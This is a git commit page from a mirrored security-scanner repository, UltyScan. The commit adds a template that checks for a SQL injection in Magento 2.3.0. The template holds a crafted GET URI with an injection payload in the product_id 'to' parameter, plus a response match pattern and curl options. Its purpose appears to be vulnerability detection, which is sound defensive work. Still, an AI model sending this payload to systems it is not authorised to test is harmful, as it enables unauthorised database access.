mirror of
https://github.com/DeNNiiInc/UltyScan.git
synced 2026-04-17 22:46:00 +00:00
UltyScan Documentation Overhaul
This commit is contained in:
9
templates/active/Magento_2.3.0_SQL_Injection.sh
Normal file
9
templates/active/Magento_2.3.0_SQL_Injection.sh
Normal file
@@ -0,0 +1,9 @@
|
||||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='Magento 2.3.0 SQL Injection'
|
||||
URI="/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20-"
|
||||
METHOD='GET'
|
||||
MATCH="\[\]"
|
||||
SEVERITY='P1 - Critical'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
Reference in New Issue
Block a user